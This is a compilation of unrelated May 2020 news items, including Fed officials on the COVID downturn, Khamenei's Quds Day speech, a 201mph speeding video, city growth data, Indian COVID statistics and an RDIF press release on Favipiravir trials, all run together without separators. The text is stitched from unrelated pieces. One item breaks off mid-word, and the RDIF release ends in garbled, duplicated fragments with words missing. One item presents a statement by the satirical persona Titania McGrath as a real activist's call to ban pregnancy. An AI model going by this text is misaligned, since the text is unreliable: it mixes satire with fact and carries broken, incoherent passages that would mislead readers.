The institutes financial inability to waive the fees and the states lag in allocating GoI-PMS scholarship, has stopped our further journey beginning from TISS. We cannot even get our Masters degree as we havent paid the fees, said Goutham Raj Konda, who completed his course in Urban Policy and Governance but is unable to check his results as he has an outstanding amount of Rs 23,000.

The institute has indicated that any kind of waiver-- partial or full-- was not possible, given its financial health.
Jerome Powell, the Chairman of the Federal Reserve, and other top central bank officials warned on May 21 that the United States was experiencing an exceptional shock in the coronavirus pandemic, and that it was wildly unclear when and how low unemployment and widespread prosperity would return.

The US economy is in a downturn without modern precedent, Powell said.

In the best of times, predicting the path of the economy with any certainty is difficult, he added. We are now experiencing a whole new level of uncertainty, as questions only the virus can answer complicate the outlook.

The Fed chiefs comments underscored a point his colleagues made repeatedly across a series of speaking engagements on May 21: The path to recovery is not obvious as the economy and job market absorb the biggest shock in generations. Against that backdrop, several said, both Fed policymakers and those in Congress and the White House should be prepared to do more if needed.

Depending on the course the virus takes and the depth and duration of the downturn it causes, additional support from both monetary and fiscal policies may be called for, Richard Clarida, the Feds Vice Chairman, said during an event earlier in the day.

But key government officials, particularly Republican members of Congress and some leaders in the Trump administration, have signalled varying appetite for providing further help.

Larry Kudlow, the Director of the National Economic Council, speaking on May 21 at a Washington Post event, expressed opposition to extending enhanced unemployment benefits, which provide an extra $600 a week. Tax cuts and other incentives to encourage hiring would be preferable at this point, he said.

I do not believe that more government spending is going to give us a strong and durable recovery, Kudlow said.

It remains unclear whether lawmakers will agree to extend the more generous unemployment benefits, which expire at the end of July, or if they will provide any additional aid beyond the $2 trillion stimulus package that passed in March.

House Democrats included a provision in the $3 trillion stimulus bill passed on May 15, which includes extending that benefit through January 2021. Republicans have rejected the House bill, which they do not plan to vote on in the Senate, and several have shared Kudlows concern that the higher unemployment insurance in particular could create a work disincentive.

If a new support package does come, it is unclear when that will happen. Treasury Secretary Steven Mnuchin said on May 21 that while additional government support was likely to be necessary, he was waiting to see how recent relief bills  which total nearly $3 trillion  play out.

I think there is a strong likelihood we will need another bill, he said, speaking at an event hosted by The Hill. Were going to step back for a few weeks and think very clearly how we need to spend more money and if we need to do that.

Lael Brainard, a Fed Governor speaking at the same webcast event as Powell, called the current moment an emergency unprecedented in modern times. She noted that the strong labour market the United States enjoyed last year had quickly given way to the highest unemployment rate since the Great Depression  14.7 percent in April.

Unemployment is likely to shoot higher before coming back down, several Fed officials warned, and while economic healing should start in earnest later the year, the speed and extent of that process are difficult to guess.

John C Williams, the President of the Federal Reserve Bank of New York, said on May 21 that the pandemic put a large question mark over how industries would fare going forward. Its impossible to know exactly how and when workers and businesses will be fully back to work and when consumers will return to the businesses that are open, Williams said at an event held by several business groups based in upstate New York.

Against that backdrop, the economy may need more help to make it through the downturn without permanent scarring.

c.2020 The New York Times Company
TEHRAN, Iran - Irans supreme leader on Friday called Israel a cancerous tumour that will undoubtedly be uprooted and destroyed in an annual speech in support of the Palestinians, renewing threats against Irans archenemy in the Middle East.

Supreme Leader Ayatollah Ali Khameneis speech marked a subdued Quds Day for Iran, which typically sees government-encouraged mass demonstrations in Tehran and elsewhere in the Islamic Republic, as well as Iranian-allied nations. Al-Quds is the Arabic name for Jerusalem.

Due to the coronavirus pandemic, Iran largely asked demonstrators to stay home.

Khamenei spoke to the nation in a 30-minute speech aired on state television, a rare address by the supreme leader as other officials in the past gave the keynote speech. He repeatedly referred to Israel as a cancer or tumour during the speech, criticizing the U.S. and the West for equipping it with various kinds of military and non-military tools of power, even with atomic weapons.

The Zionist regime is a deadly, cancerous growth and a detriment to this region, Khamenei said. It will undoubtedly be uprooted and destroyed.

Iran under the U.S.-allied Shah Mohammad Reza Pahlavi had relations with Israel. After the 1979 Islamic Revolution, Ayatollah Ruhollah Khomeini ordered the first Quds Day be held on the last Friday of the holy Muslim fasting month of Ramadan to criticize Israel. The late Palestinian Liberation Organization leader Yasser Arafat was among the first people invited to Iran after the revolution.

Today, Iran and Israel remain enemies and Israel is believed to be behind airstrikes targeting Iranian forces in Syria. Iran meanwhile supports the Lebanese militant group Hezbollah.

Responding to Khamenei, Israeli Prime Minister Benjamin Netanyahu said in a statement that whoever threatens Israel with destruction puts himself in similar danger.

Khamenei also compared Israel to the coronavirus during the speech, while saying his anti-Israeli views were not anti-Semitic.

However, in the days running up to Friday, his office released a cartoon graphic showing smiling Iranian-backed forces, Arabs and two Orthodox Jews in Jerusalem under a headline that included the phrase the final solution. Nazi Germany used the phrase final solution to describe its plan for the Holocaust, in which its forces killed six million Jews in the Second World War.

The image later was deleted from Khameneis Twitter account and other places, though it remains on the Farsi-language version of his official website. Israels Foreign Ministry offered a tweet of its own over the picture, writing: We have experience with leaders who talk about final solutions, and we promise: Not on our watch.
P olice are hunting an Audi driver who filmed himself speeding "horrifically" down the motorway at more than 200mph during lockdown.

The unnamed motorist exploited the near-empty carriageways to reach speeds of 201mph in a 92,000 Audi RS6.

Shocking footage posted anonymously online shows the driver clock over three times the 70mph limit while appearing to drive with one hand.

The video is believed to have been shot on the M23 near Pease Pottage, West Sussex.

The driving was branded 'horrific' by police

Superintendent Andy Cox, of Sussex Police, said: We are aware of this horrific driving. I have tasked some investigative work to see if we can identify the car involved and the relevant location.

"If we do we will seek the most robust action possible."

In the clip, the driver weaves across the carriageway while filming the scenes with a mobile phone.

The speedometer shoots from 61mph to 116mph in just five seconds before climbing towards the 201mph mark.

The speedometer hit 201mph in the footage

The engine is heard screaming in the background as the car reaches its limits.

It is likely the 440-horsepower Audis owner had the vehicle's speed enhanced with add-ons.

Police have issued a warning to drivers during lockdown after seeing a 142 per cent surge in speeding offences in London alone.

Cases they have recorded include a driver clocking 163mph in a 70 zone and 110mph in a 30 zone.

The UKs fastest ever speeding ticket was for the driver of a Nissan GT-R caught at 192mph in Northamptonshire.

He was jailed for 28 months and banned from driving for 10 years.
The South has risen again.

Six of the 10 fastest-growing, large cities of the past 10 years are below the Mason-Dixon Linewith half in Texas alone, according to a recent U.S. Census Bureau report. The report looked only at cities with at least 50,000 or more residents from April 1, 2010, and July 1, 2019. And the fastest-growing city is one that most folks outside of the Lone Star State are likely unfamiliar with.

The Dallas suburb of Frisco, TX, about 30 minutes north of the larger city, has grown 71.1% over the past decade. Frisco's gotten a boost because so many companies have relocated, opened, or expanded their operations in the Dallas region, attracting lots of well-paying jobs and workers to the area.

The area's good fortune could help explain why homes within Frisco's city limits cost a median $500,000 in April, according to realtor.com data. That's about 36% more than the national median of $320,000.

"The past decade's growth in population clearly favored Sun Belt cities," says realtor.com Senior Economist George Ratiu. That's because they've become popular with cost-conscious baby boomers retiring and millennials seeking to raise families.

"Southern states have been magnets for both people and companies looking for good weather, lower cost of living, and tax-friendly treatment," says Ratiu.

Frisco was followed by Buckeye, AZ, with a 56.6% surge in population over the past decade. Next were New Braunfels, TX, at 56.4%; McKinney, TX, at 51.9%; South Jordan, UT, at 51.8%; Meridian, ID, at 48.3%; Cedar Park, TX, at 44.2%; Fort Myers, FL, at 39.8%; Conroe, TX, at 39.3%; and Irvine, CA, at 35.5%.

Texas' "active campaign to attract top-notch technology, manufacturing, and business services companies have ensured a growing and diversified economy," says Ratiu. "In addition, the state's affordable housing and lack of income tax provided additional incentives to workers looking for alternatives to expensive urban cities on the coasts."

Big Southern cities have been growing faster than any other region in the country, at a pace of 11.8% over the past decade. That's likely due to the lower cost of living, cheaper home prices, and lower taxes. That killer combination has been attracting companies, and many good-paying jobs, to the region as welldrawing additional transplants from other parts of the nation. The region's warm weather, which is appealing to retirees, doesn't hurt either.

Meanwhile, the ultrahigh-priced (and cold) Northeast grew only 1.5% over the same period. The population in the West surged 9.1%, and ticked up 3.1% in the Midwest.

On the other side of the spectrum were the large cities seeing the largest population declines. Many of these were Rust Belt cities or other areas that have lost their main employers and have been struggling economically. Real estate in these areas tends to be cheaper as there aren't as many buyers competing for homes in areas with weaker job markets.

Charleston, WV, experienced the biggest exodus, losing 9.4% of its residents from April 1, 2010, and July 1, 2019. That may help explain why home prices within the city limits were a median $182,500roughly 43% less than the national median of $320,000.

The city was followed by Jackson, MS, at minus 7.4%; Decatur, IL, at minus 7.1%; Shreveport, LA, at minus 6.9%; Albany, GA, at minus 6.9%; Gary, IN, at minus 6.7%; Flint, MI, at minus 6.6%; Hammond, IN, at minus 6.6%; Rocky Mount, NC, at minus 6.5%; and Saginaw, MI, at minus 6.5%.

The post The Fastest-Growing U.S. City Most Americans Didn't Know Existed appeared first on Real Estate News & Insights | realtor.com.
HOUSTON, May 22, 2020 /PRNewswire/ -- On May 21, 2020, the former Chief of Police for the City of Jersey Village, C. Eric Foerster, filed suit against the City and its City Manager, Austin Bleess. The lawsuit alleges the City and Bleess terminated Foerster because he engaged in protected speech  violating Foerster's state and federal constitutional rights.

"It is painful to have to file a lawsuit against the city I served for nine years," said Foerster. "A place where I diligently worked to promote a positive Police agency."

On or about September 13, 2019, the suit alleges Foerster learned that a Jersey Village City Councilmember, James Singleton, had violated the City Charter by interfering in a Police Department personnel matter. Officer Mark Zatzkin was facing discipline and the suit alleges Zatzkin blackmailed Singleton to get his discipline reduced.

According to the suit, Zatzkin was in possession of a memorandum he had written describing the circumstances surrounding Singleton being forced to resign from the Police Department in 2008, prior to his election to City Council. Specifically asserting that the memorandum detailed how Singleton had used police computers to watch pornography and masturbated in patrol cars.

The lawsuit details how Foerster contacted the City Manager as soon as he learned Singleton was likely interfering in Zatzkin's personnel matter and, in doing so, violating the City Charter. It also states that the City Manager failed to take action and instead suspended Foerster. Then, after communicating his concerns to the City Council and the Mayor, the City and City Manager fired Foerster.

"Although I never should have been put in the position where I had to go outside my chain of command and speak out as a citizen to City Council and the Mayor, I was entitled to do so and protected from retaliation under the First Amendment," Foerster said. "This was clearly a matter of public concern, and I had to do something."

Foerster is represented by Julie St. John and Rob Wiley of Wiley Wheeler, P.C., a plaintiff's side employment litigation firm in Houston, Texas. Rob Wiley is a board certified in labor and employment law by the Texas Board of Legal Specialization.

SOURCE Wiley Wheeler, P.C.
George Jordan, who has taught 41 of his 42 years at Hardin - Jefferson, talks with a parade of current and former students and fellow staff at a drive-through retirement party outside Sour Lake Elementary, where he has taught science for over 20 years. Despite there being no STAAR tests this year, Jordan had a tent set up on the roof and planned to spend the night Thursday, per tradition the last 10-plus years when students met their their passing criteria. Jordan says, "Not many people can say they love what they do for 42 years, but I really did. All except these last two months. Having to work online, it was the only time I didn't love my job. I wanted to retire teaching my students face to face. I had so many fun things planned for the end of the year, and I'll miss that. But, this situation makes you realize what is really important. And the most important thing is that these kids stay healthy."
The Pentagon has reversed course on a policy barring anyone previously diagnosed with the illness caused by the novel coronavirus from serving in uniform, officials said this week. But COVID-19 survivors could still face roadblocks when trying to join the military.

Guidance issued to recruit processing stations that said anyone with a reported history of COVID-19 would be disqualified from military service has been rescinded, Matthew Donovan, defense undersecretary for personnel and readiness, told reporters Thursday.

Read next: 'She's Doing Well:' Esper Discusses Young Sailor Who Took Down Corpus Christi Gunman

For now, Donovan said, the military will continue using its existing medical standards for prospective recruits. But those who've had the virus could still be found unfit to serve, he said.

"There are a lot of unknowns about this virus right now," Donovan said. "Are there any long-term lasting effects? That's what our health care professionals are looking at right now, and they'll come up with that recommendation on if there's any changes required to these accession standards."

After a copy of the initial memo instructing recruit processing stations not to allow anyone to enlist if they'd had COVID-19 appeared on Twitter, officials first said only those who'd been hospitalized with the illness would be banned. That policy has also been reversed, Donovan said.

Every patient's experience is different, he added. One person with COVID-19 might need to be hospitalized for overnight observation, while another has to use a ventilator for weeks.

It will be up to physicians assessing potential recruits, Donovan said, to determine any long-term effects the illness might have caused.

Doctors studying the effects COVID-19 has on the body have warned that it leaves some people's hearts, lungs and other organs permanently damaged, according to Johns Hopkins Medicine. Those types of conditions could disqualify someone if doctors find they're unable to complete the mission, said Jonathan Hoffman, a Pentagon spokesman.

"The COVID-positive test in and of itself will not harm them," he said. "But like any other disease, underlying damage or illness or harm that results from that would have to be examined by a physician."

The military will continue turning away anyone who tests positive for COVID-19 at a processing station or who's exhibiting coronavirus symptoms, Donovan said.

As for the nearly 6,000 service members who've tested positive for COVID-19, defense officials say it won't negatively affect their careers.

"There are no new changes to the re-enlistment standards," said Jessica Maxwell, a Pentagon spokeswoman.

-- Gina Harkns can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins.

Related: Coronavirus Survivors May Be Barred from Joining the US Military
A Feminist and Human Rights Activist, Titania McGrath has called for a ban on pregnancy which she claimed have been normalized by centuries of patriarchal tyranny.

Tatiana, who made the call on her Twitter page, stated that theres nothing natural about reproduction and pregnancy, as it is just a form of torture imposed on women by their male slave masters.

Centuries of patriarchal tyranny have normalised the tradition of women giving birth, she wrote. There is nothing natural about reproduction. It is a form of torture imposed on women by their male slave masters. Its time to ban pregnancy.

ALSO READ: Feminism Is A Scam, It Kept Me Unmarried For 55 Years  US Activist, Candace Owens [Video]
Judgement has been reserved at the High Court in proceedings brought by a financial fund that provides social housing for councils.

The case is against the previous owner of an apartment who it claims has unlawfully re-entered and is allegedly trespassing on the property.

Davy Platform ICAV, an asset management umbrella fund established to provide Social Housing to local authorities, is seeking an injunction against Gerard O'Sullivan, who it is alleged is the former owner of the property located at Rosebank Place, Clondalkin, Dublin 22.

It claims Mr O'Sullivan, who denies any wrongdoing and says he is the owner of the property, has without lawful permission re-entered the two bedroomed property and is claiming that the apartment is his family home.

The fund also claimed that a Ms Fiona O'Brien a niece of Mr O'Sullivan, is also trespassing at the property. She claims she is residing at the apartment on foot of a lease granted to her by Mr O'Sullivan.

As a result of their failure to vacate the property the fund, represented by Michael O'Sullivan Bl seeks an injunction requiring the defendants to vacate the property, and that they cease trespassing or interfering with the apartment.

Representing himself Gerard O'Sullivan, opposes the application and in a motion to the court seeks to have fund's application struck out by the court. Ms O'Brien was neither represented nor present in court.

The injunction application came before Mr Justice Mary Rose Gearty on Friday, who following the conclusion of submissions from the parties on Friday reserved judgement, and said she would given her decision as soon as possible.

The fund claims that it purchased the property from a fund Promontoria Oyster DAC for 173,000 in October 2018. It wants to refurbish the property so it can be used by South Dublin Co Council for its housing needs.

The fund says it is the legal registered owner of the apartment, and the defendants have not right to be on the property. Any issues the defendants have with Promontoria over the sale of the apartment was between those parties, the fund claims.

Gerard O'Sullivan, with an address at Kennelsfort Road, Upper in Dublin, denies he is a trespasser. He told the court that he is the owner of the property and that any purported purchase of the apartment by the fund, he added, was illegal.
A kitten born with two faces in Oregon can eat out of one mouth and meow out of the other, according to the owners who talked to koin.com.

The two-faced kitten was born to a cat that belongs to a Portland, Ore., family on Wednesday.

The King family named the kitten that was born on Wednesday, Biscuits and Gravy, according to koin.com.

The kitten has two noses, four eyes that are not yet open and two mouths.

Owner Kyla King said that she talked to her veterinarian who said there is nothing medically that can be done for the kitten, who is not expected to live long. All King can do is try to feed it and care for it as best she can.

It doesnt really know how to nurse properly because it has two mouths so Ive been trying to feed it, Kyla King said. And, I mean, Im gonna do the best I can but these animals dont usually live too long.

King told KOIN that she is not super optimistic but will do her best to take care of Biscuits and Gravy.

Cats with two faces are known as Janus cats, named for the Roman god Janus who was show in mythology with two faces, according to National Geographic.

According to National Geographic, Janus cats usually dont live long because the genetic deformity causes health problems. The longest living Janus cat was Frank and Louie of Massachusetts who died in 2014 at the age of 15.

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09:46 | Lima, May. 21.

Given the imbalance between the supply and demand for generic drugs especially those for the treatment of covid-19 Minsa has invested in their purchase and will distribute them to health centers and posts , he explained.
With 104 new COVID-19 cases reported on Friday, the total number of coronavirus patients in Uttar Pradesh has reached 5,619, officials said here.

"The total number of cases in the state reported so far are 5,619 including 3,238 who have been treated and discharged and 2,243 active cases. The death toll in the state has reached 138," Principal Secretary, Medical and Health Amit Mohan Prasad told reporters here.

He said, "Samples of 7,249 people have been sent for testing on Thursday and 928 pools were also tested."



It has been observed that the infection percentage is higher among migrant labourers due to which the state government has asked them to strictly follow home quarantine.

The 'village/mohalla nigrani samitis' are keeping an eye on them, he said, adding that in home quarantine, they have been asked not to come in contact with elderly people, children and pregnant women.

He said health workers have surveyed 6,58,982 migrant labourers and 764 of them have shown symptoms of coronavirus.

Though the fresh figure of corona positive migrants was not revealed by the officer, till Thursday 1,230 of them tested positive for the virus.

"We are emphasising on surveillance and over 3.49 crore people have been surveyed by 87,141 teams in Uttar Pradesh," he said.

Prasad said the Centre's Aarogya Setu mobile application is being used to send alerts to people.

"We have made 29,010 calls on the basis of the alerts generated by the mobile app," he said.

He said in hospitals, there are 78,500 beds and their numbers are being increased to over one lakh to ensure treatment of every patient.

Among the 138 deaths, Agra reported the maximum at 28 followed by Meerut (21), Moradabad (11), Aligarh and Kanpur (9 each), Firozabad (6), Gautam Buddh Nagar (5), Varanasi, Sant Kabir Nagar, Mathura and Jhansi (4 each), Prayagraj and Gorakhpur (3 each), and Pratapgarh, Lucknow, Basti, Etah, Jalaun, Mainpuri and Ghaziabad (2 each).

One death each has been reported from Ayodhya, Chitrakoot Hapur, Bulandshahr, Bijnor, Amroha, Bareilly, Shrawasti, Azamgarh, Kanpur Dehat, Mahoba, Kushi Nagar and Lalitpur.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Reverend Obofour, the founder and leader of Anointed Palace Chapel (APC) who is known in real life as Francis Antwi, has thrown shots at Assin Central MP Kennedy Agyapong.

This follows the MP's recent campaign to rid Ghana of what he describes as fake prophets and pastors who deceive people using the name of God. As it is already known, Ken Agyapong's campaign has seen him deal with Obofour's compatriot, Bishop Daniel Obinim, on the Seat Show on his NET 2 TV on several occasions.

While Ken Agyapong has yet to focus on Obofour, one guest on the show, Manasseh Boateng, has been making claims against the APC founder. In a new video, Obofour has described the things happening on Ken Agyapong's NET2 TV as rubbish and warned the presenter to call himself to order or have him deal with his boss.

Let them daresee I told you, people, that those people who have presenters and claim they are rich men and are fooling on TV stations I'll make them useless physically and spiritually. If you think I'm bluffing, let him dare me and I'll expose their secrets. In Ghana, I fear nobody but I respect Ghana. That nonsense must stop. He further warned that he is going to expose Ken Agyapong saying "I will show who drinks blood and what time they do their killings." We'll expose them professionally, Obofour stressed.

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A virtual banquet that honored Gracie Kempken and nine fellow Future Farmers of America leaders from across Texas was the latest twist in the Friendswood High School students experience in the Class of 2020.

The May 14 event actually turned out nicer than Plan A, which was to hold the banquet in Austin, said the 18-year-old daughter of Craig and Kimberly Kempken. Each of us was going to be allowed only one guest, so this way, I was able to invite more people, including my grandparents, Gracie Kempkem said of Frances Williams and Rick and Yvonne Kempken, all of Friendswood.

On March 11, Gracie Kempken was at the Houston Livestock Show and Rodeo with six other FFA members from FHS when the first shoe dropped on what would drastically impact their senior year.

We were in line to load in our animals when they made the announcement between 11 a.m. and noon that the rodeo was shutting down, she said.

Some people were crying

Although kind of stunned, Kempkens first thought was that her black Brangus heifer, Dixie, needed water.

Everybody rushed to take care of their animals. Some people were crying, and that was heartbreaking to see. We had been there for eight hours, waiting to load in, but I knew people who had driven eight hours to get to Houston, and now they were having to drive back eight hours, without any sleep.

The rodeo was slated to run through March 22.

I missed the food the most, said Kempken. There was a spot called Paradise Burger right in front of the carnival that I was looking forward to.

Kempken planned to show Dixie at events in Austin and Galveston County, but instead Dixie was returned to a 10-acre spread in Alvin.

Housing my animals in Alvin is great, she said. The acres my family leases are very close to our vets office (Gulf Coast Large Animal Clinic) and gives us great access to what we need.

Kempken also planned to return from FISDs spring break to an exciting countdown to graduation, but schools didnt reopen.

Instead, Kempken became a nanny for the children of a nearby couple.

It started with me taking the kids to school, she said, but when the childrens parents started working from home, They stick close to their computers; so I help with the kids from 10:30 a.m. to 4 p.m.

On the night before the virtual banquet, Kempken finished her last school assignment, a math project.

I stood up from the kitchen table and said, I guess Im done with school.

Quality time with family

A silver lining in the quarantine aspect of the pandemic, Kempken said, is that she gets to spend quality time with her family.

Right now, I am enjoying time with my parents and my dog; so I am thankful for that, said Kempken, who is preparing to enter Oklahoma State University next fall and double-major in agricultural communication and agribusiness.

Its in Stillwater, Oklahoma, so I will be moving eight hours away.

Kempken hopes to make more memories with her FHS classmates before she leaves for college.

During the quarantine, she said, What I am missing the most is being with my friends. I also miss concerts. County fair concerts are the ones I really like, she said.

Don Maines is a freelance writer who can be contacted at donmaines@att.net
By PTI

BHOPAL: The Madhya Pradesh government said on Thursday that an FIR would be registered against those organising marriage ceremonies in violation of norms, after a newly-married woman tested positive for coronavirus in Bhopal.

According to the guidelines, a maximum of 25 members from each side - groom and bride - are allowed to attend the wedding in the non-containment zones, but no marriage procession is allowed.

"A new containment zone has been created in Bhopal's Jatkhedi area under the Misrod police station. A marriage procession came here from Satlapur village. Later the bride tested positive for coronavirus," Minister for Health and Home Narottam Mishra told reporters.

35 people who attended this marriage procession have been quarantined, he said.

"More people attended the wedding than allowed, and they used a bus. We have decided today that from now on, people would not be allowed to use a bus in a marriage procession. An FIR will be filed if more people than the prescribed limit attend any wedding," Mishra said.

Only personal vehicles would be allowed at weddings, he added.
TipRanks

Lets talk about quality stocks. Of course, this is the direction that every investor wants to go; but the question is, how to recognize them? Do we go all-in on the big-value, big-name giants? Or do we dig a little deeper, and find the high-end nuggets that are hiding in the sandheap? Weighing in from investment bank Morgan Stanley, chief investment officer Lisa Shalett recommends the latter. She recommends investors to look for beaten-down stocks, equities that have lost value recently  but t
The program emphasizes holistic improvement of science education at undergraduate level

Department of Biotechnology (DBT) is inviting applications from colleges of all the states and Union Territories of India offering undergraduate education (UG) in sciences under STAR COLLEGE Scheme to brand and nurture excellence in UG Science education.

The program emphasizes holistic improvement of science education at undergraduate level with special emphasis on practical training to students.

The initiative provides support for (a) Improving knowledge and skills of teachers in basic Sciences and specialized techniques, (b) Access to specialized infrastructure to students, (c) Assurance of consumables, reagents and chemicals for students, (d) Substantial hands-on experience in designing and conducting practicals to ensure critical thinking, (e) and access to books and journals including e-journal facilities.

The aim is to improve practical training in existing science courses like Botany, Zoology, Chemistry, Physics, Microbiology, Biochemistry, Biotechnology, Bioinformatics, Mathematics, Electronics, Computer Science etc.
CLEVELAND, Ohio -- The Ohio Senate on Wednesday thwarted the Houses attempt to neutralize Ohio Department of Health Dr. Amy Acton.

Were talking about the unanimous smackdown and House Speaker Larry Householder in Thursdays episode of This Week in the CLE.

Listen online here.

Editor Chris Quinn hosts our daily half-hour coronavirus news podcast, with help this week from editors Jane Kahoun, Kris Wernowsky and me. We answer many of the questions youve sent through our text message platform.

Youve been sending Chris lots of thoughts and suggestions on our from-the-newsroom account, in which he shares once or twice a day what were thinking about at cleveland.com. You can sign up for free by sending a text to 216-868-4802.

And youve been offering all sorts of great perspective in our coronavirus alert account, which has 13,000-plus subscribers. You can sign up for free by texting 216-279-7784.

Here are the questions were answering today:

1) How did the Ohio Senate give a smackdown to Ohio House Speaker Larry Householder in his attempts to neutralize Ohio Health Director Dr. Amy Acton? The Senate on Wednesday unanimously rejected a measure from the House. Senate Bill 1 was originally crafted in the Senate to reduce state government regulations.

2) Is my health club opening earlier than Ohio Governor Mike DeWine said it could? Maybe. A Lake County judge says they can. He also said that Acton overstepped her bounds.

3) What do the latest projections show for how coronavirus cases will increase as Ohio fully reopens everything that has been closed? Even if Ohio maintains strict social-distancing measures, there could be a 200 to 350 percent increase in person-to-person contact moving forward. Experts say the trick is to keep the increase in infections manageable.

4) Can people trying to put questions on the November ballot in Ohio collect their signatures online for the first time? Yes, according to a federal judge in Cincinnati. The Ohio Secretary of States office characterized the ruling as allowing the campaigns to ignore the Ohio Constitution.

5) Now that restaurants are reopening, will they lose the ability to sell me to-go cocktails? Maybe not. Some Ohio lawmakers are working on a bill to make sure you can get beer, wine and margaritas with your take-out meal.

6) Were overdose deaths an unintended consequence of the lifting of many of the coronavirus shutdown orders? The Cuyahoga County Medical Examiner thinks so. The office issued a public health alert as nine people died from suspected overdoses between late Saturday and late Monday

7) After all the work Governor Mike DeWine did to reduce the prison population, why are prisons against accepting new prisoners? The state says the decision was needed because courts around Ohio are reopening and again sentencing people to prison, but its not without critics.

8) Did people who filed for unemployment in Ohio have their data breached in the states embattled computer system? Yes. An email sent Wednesday to filers for Pandemic Unemployment Assistance said two-dozen individuals had access to the personal data, which included names, Social Security numbers, addresses and the award total.

Thats it for Thursday. Catch us on Friday.

Meanwhile, find all our past episodes here

Do you get your podcasts on Spotify. Find us here.

If you use Stitcher, we are here.

RadioPublic is another popular podcast vehicle, and we are here.

On Google Podcasts, we are here.

On PodParadise, find us here.

And on PlayerFM, we are here.
Tara Reade, who alleges former Vice President Joe Biden sexually assaulted her in 1993 when she worked for him in the Senate, will no longer be represented by prominent #MeToo lawyer Douglas H. Wigdor, The New York Times reports. Wigdor, a supporter of President Trump who has also represented women in sexual assault and discrimination cases against Harvey Weinstein and Bill O'Reilly, took Reade on as a client two weeks ago.

Though Wigdor did not give a reason for why he would no longer represent Reade, he emphasized that the decision is "by no means a reflection on whether then-Senator Biden sexually assaulted Ms. Reade." He additionally slammed the media for its coverage of Reade's case, arguing that "much of what has been written about Ms. Reade is not probative of whether then-Senator Biden sexually assaulted her, but rather is intended to victim-shame and attack her credibility on unrelated and irrelevant matters." The Times notes that Wigdor "is leaving as her credibility is coming under harsh scrutiny," including an investigation in California concerning whether or not Reade misrepresented her educational background while serving as an expert witness on domestic violence in court.

Biden has repeatedly denied Reade's allegations while attempting to also express his belief in survivors of sexual assault. "If they believe Tara Reade, they probably shouldn't vote for me," he said recently, addressing a question about what he would say to women voters who are concerned about the allegations. "I wouldn't vote for me if I believed Tara Reade."

In his statement to the press, Reade's former lawyer, Wigdor, added: "We have and will continue to represent survivors regardless of their alleged predator's status or politics."

More stories from theweek.com

How social conservatives traded causes for cliches

How pandemics change society

Virgin Orbit's inaugural rocket launch fails


On 21 May 2020, the Ministry of Health of the Russian Federation approved the launch of the final stage, which will involve 330 patients compared to 60 during the initial stage, as well as additional research and medical centers. In total, 30 medical centers in nine Russian regions will conduct studies at the final stage. RDIF and ChemRar have applied to the Russian Ministry of Health for the accelerated registration of Favipiravir in accordance with the Russian Government's Decree No. 441 of 3 April 2020.

The first stage of the trials has already been completed. It lasted ten days and involved 60 patients with coronavirus infection with moderate illness. 40 people received Favipiravir treatment and the other 20 patients from the control group were on standard therapy. According to the results of the first stage, Favipiravir demonstrated safety with no new or previously unreported side effects detected. The drug's efficacy was above a threshold of 80%, which is the criterion for a drug with high antiviral activity. The body temperature of 68% of patients taking Favipiravir returned to normal earlier (on the third day) than in the control group (on the sixth day). On average, complete elimination of the virus from the body as a result of Favipiravir treatment occurred in four days, while in the standard therapy group this process took nine days.

Following the first four days of treatment, 65% of the 40 patients who took Favipiravir tested negative for coronavirus, which is twice as many as in the standard therapy group. By day 10, the number of patients whose tests returned negative results reached 35 out of 40.

Kirill Dmitriev, CEO of the Russian Direct Investment Fund, said:

"We continue to receive promising data during the clinical trials of Favipiravir. At least 85% of patients in the control groups completely recovered from coronavirus within 10 days after the start of the treatment with the drug. We expect a positive final result of the trial, which will enable us to complete the registration procedure for the drug in Russia and roll out full-scale production and delivery to medical institutions across the country."

Elena Yakubova, CEO of ChemRar Pharma, said:

"We noticed a faster improvement in the general health and clinical condition of the patients taking Favipiravir, which may lead to earlier discharge from hospital and reduce the burden on medical facilities by 30-40% in the near future. Thanks to the administration of Favipiravir, most patients are not infectious as early as the fifth day of treatment, which is critical to stop the epidemic and ensure a swift return to normal life."

Russian Direct Investment Fund (RDIF) is Russia's sovereign wealth fund established in 2011 to make equity co-investments, primarily in Russia, alongside reputable international financial and strategic investors. RDIF acts as a catalyst for direct investment in the Russian economy. RDIF's management company is based in Moscow. Currently, RDIF has experience of the successful joint implementation of more than 80 projects with foreign partners totaling more than RUB1.8 tn and covering 95% of the regions of the Russian Federation. RDIF portfolio companies employ more than 800,000 people and generate revenues which equate to more than 6% of Russia's GDP. RDIF has established joint strategic partnerships with leading international co-investors from more than 15 countries that total more than $40 bn.

RDIF takes active steps to counteract COVID-19:

RDIF and partners have launched the production of the unique Russian-Japanese EMG diagnostic system , which generates results in 30 minutes with an accuracy of more than 99.9% in both stationary and unmatched portable mini-laboratories. The Japan Bank for International Cooperation has joined the project through the Russia-Japan Investment Fund;





, which generates results in 30 minutes with an accuracy of more than 99.9% in both stationary and unmatched portable mini-laboratories. The Japan Bank for International Cooperation has joined the project through the Russia-Japan Investment Fund; RDIF and the ChemRar Group have produced the first batch of Favipiravir , a drug that has proven effective in the treatment of infected patients in China and in clinical trials in Russia . Preparations are currently underway for the mass production of the drug;





, a drug that has proven effective in the treatment of infected patients in and in clinical trials in . Preparations are currently underway for the mass production of the drug; RDIF has launched a project to diagnose and detect pneumonia, including that caused by coronavirus, using CT scans combined with the Russian-UAE artificial intelligence (AI) technology developed jointly by Group 42 (G42), RDIF and Medscan Group;





developed jointly by Group 42 (G42), RDIF and Medscan Group; RDIF has provided support to the public in observing the lockdown restrictions and self-isolation regime, driving a several-fold increase in telemedicine consultations via the Doctis service , as well as in access and subscriptions to the ivi online media library , delivery of Elementaree meal kits and demand for products and services of other RDIF portfolio companies;





, as well as in access and subscriptions to the , delivery of and demand for products and services of other RDIF portfolio companies; The Mother and Child Group , an RDIF's portfolio company, has repurposed its largest clinical hospital Lapino to treat patients with COVID-19 symptoms.





, an RDIF's portfolio company, has repurposed its largest RDIF was one of the initiators of the Alliance against coronavirus, which also includes the Russian Union of Industrialists and Entrepreneurs (RUIE), Yandex, Mail.ru Group and the Rossiya Segodnya international news agency. RDIF is actively involved in key initiatives and charity projects.

Further information can be found at www.rdif.ru

ChemRar Group unites R&D service and investment companies in the field of innovative pharmaceuticals for the development and commercialization of innovative medicines, diagnostics, preventive care and new treatments of life-threatening diseases in Russia and abroad. Further information can be found at http://en.chemrar.ru/

SOURCE RDIF

Related Links

http://www.rdif.ru


